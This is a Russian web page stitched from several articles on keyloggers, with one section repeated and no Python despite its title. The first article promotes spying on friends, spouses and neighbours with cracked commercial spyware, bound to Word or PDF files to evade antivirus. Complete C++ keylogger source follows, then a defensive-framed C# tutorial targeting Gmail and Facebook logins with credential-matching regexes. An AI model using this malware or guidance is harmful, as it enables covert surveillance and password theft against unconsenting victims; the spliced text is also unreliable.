Лаборатория информационной безопасности.              Лаборатория информационной безопасности Создание простого кейлоггера на Python

Кто из нас не хотел почувствовать себя хоть раз кул-хакером и сломать хотя бы что-нибудь? :) Если даже и нет, то уж о том, как было бы здорово заполучить пароль от почты / соц. сети друга, жены / мужа, соседа по комнате думал хотя бы однажды каждый. :) Да и надо же с чего-то начинать, в конце-то концов! Существенная часть атак (взломов) включает в себя заражение компьютера жертвы так называемыми кейлоггерами (spyware).

Итак, в сегодняшней статье поговорим о том, какие есть бесплатные программы для слежения за компьютерами на базе windows , где можно скачать их полные версии, как заразить ими компьютер жертвы и в чём особенности их использования.

Но вначале небольшое введение.

Что такое и зачем нужны кейлоггеры?

О том, что это такое, думаю, Вы догадались и сами. Как правило, они представляют собой некую программу, которая скрыто (хотя это не всегда так) устанавливается на компьютер жертвы, после чего фиксирует абсолютно все нажатия на клавиатуре на данным узле. При этом помимо самих по себе нажатия обычно фиксируется: дата-время нажатия (действия) и программа, в которой эти действия были выполнены (браузер, в том числе адрес сайта (ура, сразу видим, от чего пароли!); локальное приложение; системные службы (в т.ч. пароли входа в windows) и т.д.).

Отсюда сразу видна одна из проблем: я заполучио на пару минут доступ к компьютеру своей соседки и хочу заполучить её пароль от ВК! Установил чудо-программку и вернул комп. Как же мне потом смотреть пароли? Снова искать способ забрать у неё комп? Есть приятная новость: как правило, нет. Большинство кейлоггеров способно не только хранить всю накопленную базу действий локально, но ещё и пересылать её удалённо. Вариантов отправки логов существует масса:

  • Фикситрованный e-mail (может быть несколько) - самый удобный вариант;
  • FTP-сервер (у кого он есть);
  • SMB-сервер (экзотика, да и не очень удобно).
  • Фиксированная флешка (вставляешь её в USB-порт компьютера жертвы, и все логи копируются туда автоматически в невидимом режиме!).

Зачем же всё это нужно? Думаю, ответ очевиден. Помимо банальной кражи паролей, некоторые кейлоггеры умеют ещё ряд приятный вещей:

  • Логирование переписки в заданных соц. сетях или мессенджерах (напр, Skype).
  • Съёмка скриншотов экрана.
  • Просмотр / съемка данных с веб-камеры (что может быть очень интересно).

Как использовать кейлоггеры?

А это вопрос непростой. Надо понимать, что просто найти удобный функциональный хороший кейлоггер мало.

Итак, что же нужно для успешной работы программы-шпиона :

  • Администраторский доступ к удалённому компьютеру.
    При чём это совсем не обязательно именно физический доступ. Вы вполне можете зайти туда через RDP (службу Удалённого рабочего стола); TeamViewer; AmmyAdmin и т.д.
    Как правило, с этим пунктом связаны самые большие сложности. Однако же я недавно писал статью о том, как получить права администратора в Windows .
  • Анонимный e-mail / ftp (по которому Вас не вычислят).
    Конечно, если Вы ломаете соседу тётю Шуру, этот пункт можно смело опустить. Как и в случае, если у Вас компьютер жертвы всегда под рукой (аля, узнать пароли брата / сестры).
  • Отсутствие рабочих антивирусов / внутренних систем защиты Windows.
    Большинство публичных кейлоггеров (о которых и пойдёт речь ниже) известны подавляющему большинству антивирусного ПО (хотя есть такие вирусы-логгеры, которые встраиваются в ядро ОС или системный драйвер, и антивирусы уже не могут их ни обнаружить, ни уничтожить, если даже обнаружили). В силу вышесказанного, антивирусное ПО, если таковое имеется, придётся безжалотсно уничтожить. Кроме антивирусов, опасность для нашей программы-шпиона представляют также системы типа Защитник Windows (таковые впервые появились в Windows 7 и далее). Они отлавливают подозрительную активность работающего на компьютере ПО. О том, как же от них избавиться можно без труда найти в гугле.

Вот, пожалуй, и все необходимые и достаточные условия Вашего успеха на поприще кражи чужих паролей / переписок / фото или на что там ещё Вам заблагорассудится посягнуть.

Какие бывают программы-шпионы и где их скачать?

Итак, начнём обзор основных кейлоггеров, которые мне довелось использовать в своей повседневной практике со ссылками на бесплатное скачивание их полных версий (т.е. все версии последние на текущий момент (для которых реально найти лекарство) и с уже рабочими и испытанными кряками).

0. The Rat!

Оценки (из 10) :

  • Скрытность: 10
  • Удобство / юзабилити: 9
  • Функциональность: 8

Это просто бомба, а не кейлоггер! В рабочем состоянии занимает 15-20 КБ. Чего удивляться: он целиком написан на ассемблере (ветераны-программисты прослезились) и написан по большей части энтузиастами-хакерами, за счёт чего уровень его скрытности просто поражает воображение: работает он на уровне ядра ОС!

Кроме того, в комлект поставки входит FileConnector - мини-программа, позволяющая склеить данный кейлоггер с абсолютно любой прогой. В результате Вы получаете новый exe-шник практически того же размера, и работающий при запуске ровно так, как та програ, с которой Вы его склеили! Но после первого запуска Ваш кейлоггер будет автоматически установлен в невидимом режиме с заранее заданными Вами параметрами отсылки логов. Удобно, не правда ли?

Прекрасная возможность для социальной инженерии (приносите другу на флешке файл-игру / презентацию, да можно даже просто документ ворд (о том, как создать exe-ик, запускающий конкретный word/excel-файл расскажу в одной из следующий своих статей), запускаете, всё хорошо и прекрасно, однако же друг невидимо уже заражён!). Либо же просто шлёте этот файлик другу по почте (лучше ссылку на его скачивание, т.к. современные почтовые сервера запрещают отправку exe-файлов). Конечно, риск от антивирусов при установке всё же имеет место быть (зато его не будет после установки).

Кстати, при помощи некоторых других приёмов можно склеить любой дистрибутив скрытой установки (таковые есть в The Rat! и в Elite keylogger) не только с exe-файлами (которые у мало мальски продвинутых пользователей всё же вызывают подозрения), но и с обычными word / excel и даже pdf-файлами! Уж на простую pdf-ку никто никогда ничего не подумает, но не тут-то было! :) Как это делается - тема целой отдельной статьи. Особо ретивые могут написать мне вопросы через форму обратной связи. ;)

В общем, The Rat! можно описывать очень долго и много. Куда лучше меня это сделано вот . Там же есть и ссылка на скачивание.

1. Elite keylogger

Оценки (из 10) :

  • Скрытность: 10
  • Удобство / юзабилити: 9
  • Функциональность: 8

Пожалуй, один из лучших когда-либо созданных кейлоггеров. В число его возможностей, помимо стандартного набора (перехват всех нажатий в контексте приложений / окон / сайтов), входит перехват сообщений мессенджеров, снимки с веб-камеры, а также - что ОЧЕНЬ важно! - перехват паролей службы WinLogon. Иными словами, он перехватывает пароли входа в Windows (включая доменные!). Это стало возможным благодаря его работе на уровне системного драйвера и запуску ещё на этапе загрузки ОС. В силу этой же особенности, данная программка остаётся абсолютно невидимой и для Каспероского, и для всего прочего анти-вредоносного ПО. Признаться, я не встречал ни одного кейлоггера, способного на такое.

Однако же не стоит обольщаться слишком уж сильно. Сам инсталлер распознаётся антивирусами очень легко и для его установки потребуются и админовские права и отключение всех антивирусных служб и сервисов. После установки всё будет работать идеально в любом случае.

Кроме того, описанная особенность (работа на уровне ядра ОС) вносит требования по версия ОС, на которых кейлоггеров будет работать. Версия 5-5.3 (ссылки на которую приведены чуть ниже) поддерживает всё до Windows 7, включительно. Win 8 / 10, а также windows семейства server (2003 / 2008 / 2012) уже не поддерживаются. Есть версия 6, прекрасно функционирующая в т.ч. на win 8 и 10, однако найти крякнутую версию на текущий момент не представляется возможным. Вероятно, в будущем она появится. А пока же скачать Elite keylogger 5.3 можно по ссылке выше.

Нет режима сетевой работы, посему для использования работодателями (для слежения за компьютерами своих сотрудников) или целой группы лиц не подойдёт.

Важным моментом является возможность создания установочного дистрибутива с предзаданными настройками (к примеру, с заданным адресом почты, куда нужно будет слать логи). При этом на выходе Вы получаете дистрибутив, которые при запуске не выдаёт абсолютно никаких предупреждений или окон, а после установки может даже уничтожить себя сам (если отметить соответствующую опцию).

Несколько скринов 5-ой версии (дабы показать, на сколько всё красиво и удобно):

2. All-in-one keylogger.

Оценки (из 10) :

  • Скрытность: 3
  • Удобство / юзабилити: 9
  • Функциональность: 8

Также весьма и весьма удобная штуковина. Функционал вполне себе на уровне Elite keylogger-а. Вот со скрытностью дела по-хуже. Winlogon-пароли уже не перехыватываются, драйвером он не является, в ядро не встраивается. Однако же устанавливается в системные и скрытые AppData-директории, до которых не так легко добраться посторонним пользователям (не тем, от имени которых он установлен). Тем не менее антивирусы рано или поздно с успехом это делают, что делает эту вещь не особенно-то надёжной и безопасной при использовании, к примеру, у вас на работе для слежки за собственным начальством. ;) Склеить с чем-нибудь или же закриптовать код для сокрытия от антивирусов не получится.

Работает на любых версиях ОС Win (что приятно и практично).

Что же касается остального, всё прекрасно: логирует всё (кроме паролей на вход в Windows), пересылает куда угодно (включая e-mail, ftp, фиксированную флешку). По удобство также всё прекрасно.

3. Spytech SpyAgent.

Оценки (из 10) :

  • Скрытность: 4
  • Удобство / юзабилити: 8
  • Функциональность: 10

Также неплохой кейлоггер, хотя и с сомнительной скрытностью. Поддерживаемые версии ОС также все возможные. Функционал схож с предыдущими вариантами. Есть интересная функция самоуничтожения после заданного периода времени (либо по достижении заранее заданной даты).

Кроме того, возможна запись видео с веб-камеры и звука из микрофона, что также может быть очень востребовано и чего нет у предыдущих двух представителей.

Есть сетевой режим работы, что удобно для слежения за целой сетью компьютеров. Он же, кстати, есть у StaffCop (в обзор не включён по причине бесполезности для одного пользователя - физ. лица). Пожалуй, эта программа идеально подойдёт работодателям для слежки за своими сотрудниками (хотя лидер в этом поприще безоговорочно StaffCop и LanAgent - если Вы - юр. лицо, обязательно посмотрите в их сторону). Либо же для слежения за Вашим потомством, любящим посидеть за просмотром "сайтов для взрослых". Т.е. там, где нужна более не скрытость, а удобство (в т.ч. куча красивых журналов-отчётов и т.д.) и функционал блокировки заданных сайтов / программ (в SpyAgent он также имеется).

4. Spyrix Personal monitor.

Оценки (из 10) :

  • Скрытность: 4
  • Удобство / юзабилити: 6
  • Функциональность: 10

Функционал на уровне предыдущего кандидата, однако те же проблемы со скрытностью. Кроме того, в функционал входит интересная вещь: копирование файлов со вставляемых в компьютер USB-носителей, а также удалённый просмотр логов через веб-аккаунт на сайте Spyrix (но мы же собираемся скачать крякнутую версию, посему оно для нас работать не будет).

5. Spyrix Personal monitor.

Оценки (из 10) :

  • Скрытность: 3
  • Удобство / юзабилити: 6
  • Функциональность: 8

Подробно описывать не буду, т.к. данный экземпляр не имеет ничего из того, чего бы не было у одного из предыдущих шпионов, однако же кому-то данный кейлоггер может прийтись по душе (как минимум, своим интерфейсом).

Что имеем в итоге?

Вопрос использования кейлоггера в большей мере этический, чем технический, и он сильно зависит от Ваших целей.

Если Вы - работодатель, желающий контролировать своих сотрудников, смело ставьте StaffCop, собирайте со всех сотрудников письменные разрешения на таковые действа (иначе за такие дела Вас могут неслабо привлечь) и дело в шляпе. Хотя я лично знаю и более эффективные способы повышения работоспособности своих сотрудников.

Если же Вы - начинающий IT-специалист, желающий просто испытать, каково оно - кого-то поломать - и как вообще это дело работает, то вооружайтесь методами социальной инженерии и проводите испытания на своих друзьях, используя любой из приведённых примеров. Однако же помните: выявление такой активности жертвами отнюдь не способствует дружбе и долголетию. ;) И уж точно не стоит проверять это на своей работе. Попомните мои слова: у меня в этом есть опыт. ;)

Если же Ваша цель - прошпионить за подругой, мужем, соседом, а может, и вовсе делаете это регулярно и за деньги, хорошо подумайте, стоит ли. Ведь рано или поздно могут привлечь. Да и не стоит оно того: "рыться в чужом грязном белье - удовольствие не из приятных". Если всё же надо (а может, Вы работаете в сфере расследования компьютерных преступлений и такие задачи входят в Ваши профессиональные обязанности), то варианта только два: The Rat! и Elite Keylogger. В режиме скрытых установочных дистрибутивов, склеенных с word / excel / pdf. И лучше, по возможности, закриптованных свежим криптором. Только в этом случае можно гарантировать более менее безопасную деятельность и реальных успех.

Но в любом случае стоит помнить, что грамотное применение кейлоггеров - это лишь одно маленькое звено в достижении цели (в т.ч. даже простой атаки). Не всегда есть админовские права, не всегда есть физический доступ и не все юзеры будут открывать, читать и уж тем более качать Ваши вложения / ссылки (привет соц. инженерии), не всегда будет отключён антивирус / Ваш кейлоггер / криптор не всегда будет ему неизвестен. Все эти и многие из несказанных проблем решаемы, но их решение - тема целой серии отдельных статей.

Словом, Вы только начали погружаться в сложный, опасный, но безумно интересный мир информационной безопасности. :)

С уважением, Лысяк А.С.

Опубликовано 18 Январь 2015 . Где ?". Не нужно искать легких путей, тем более в Интернете:). Скачать кейлоггер бесплатно можно, но приготовтесь к различным ограничениям или неожиданностям. Во-первых, функциональность кейлоггера будет низкой. Бесплатные демо-версии полноценных программ обычно содержат ограничения, иногда неожиданные:). Во-вторых, не будет дополнительных, обычно сопутствующих кейлоггерам дополнительных программ или функций обработки лога, настройки слежения и т.д. В третьих, вы не обнаружите поддержки кейлоггера со стороны производителей. Вместо того, чтобы искать где скачать кейлоггер бесплатно , подумайте, а не написать ли его самостоятельно? Простейший кейлоггер для Windows написать не очень сложно, если Вы обладаете основами программирования в Windows. Итак, продолжаем выкладывать исходники кейлоггеров. Кейлоггер для Windows написан на С++, естественно с применением Win API. Хук клавиш реализован с помощью SetWindowsHookEx (WH_KEYBOARD_LL ,...). Создается исполняемый файл без библиотека dll, так сказать, кейлоггер одним файлом! Плюсы очевидны - более просто организовать удаленную установку, более маленький размер, большая скрытность (dll-ка не будет в процессах всех приложений висеть). Недостаток этого способа перехвата в его нестабильной работе, либо вообще отказа работать в Windows 7. Перехват клавиш без использования dll (WH_KEYBOARD_LL) вызывает у семерки непонимание. Приходится шаманить, колдовать, чтобы заставить кейлоггер работать. Выход конечно же всегда найдется (его ищите самостоятельно, и да пребудет с вами сила:)). Написать нормальный можно и с использованием SetWindowsHookEx (WH_KEYBOARD_LL ,...). В Windows 7 будет все нормально. Как будет работать WH_KEYBOARD_LL в Windows 8, пока не известно.

Запись в лог организована через файловый поток. Добавлено кое-что для улучшения читабельности лога. Код маленький и эффективный. Подойдет для кейлоггера для windowsс определенными добавками и вопрос, где можно скачать кейлоггер бесплатно отпадает .

Исходник файла *.exe:

#include < windows.h > #include < fstream > #include < iostream > #include < algorithm > #include < string > using namespace std; string myKey; BOOL isCaps(); char logName = "keys.txt";//LOG FILE name //init all varibles for speed MSG message; HHOOK keyboardHook; char keyNameBuff; PKBDLLHOOKSTRUCT p; unsigned int sc; //кейлоггер для Windows void writeToLog(string s) //write a string to the log { ofstream log(logName, ios::app); //opens log file log << s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; //shift 16 bits if (!(p->vkCode <= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

Можно использовать среду разработки любую, которая вам нравится (Dev-C++, MSVS, Borland С++). Собираем, вносим необходимые индивидуальные изменения и кейлоггер для Windows готов и тратить время на поиск, где же можно скачать

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

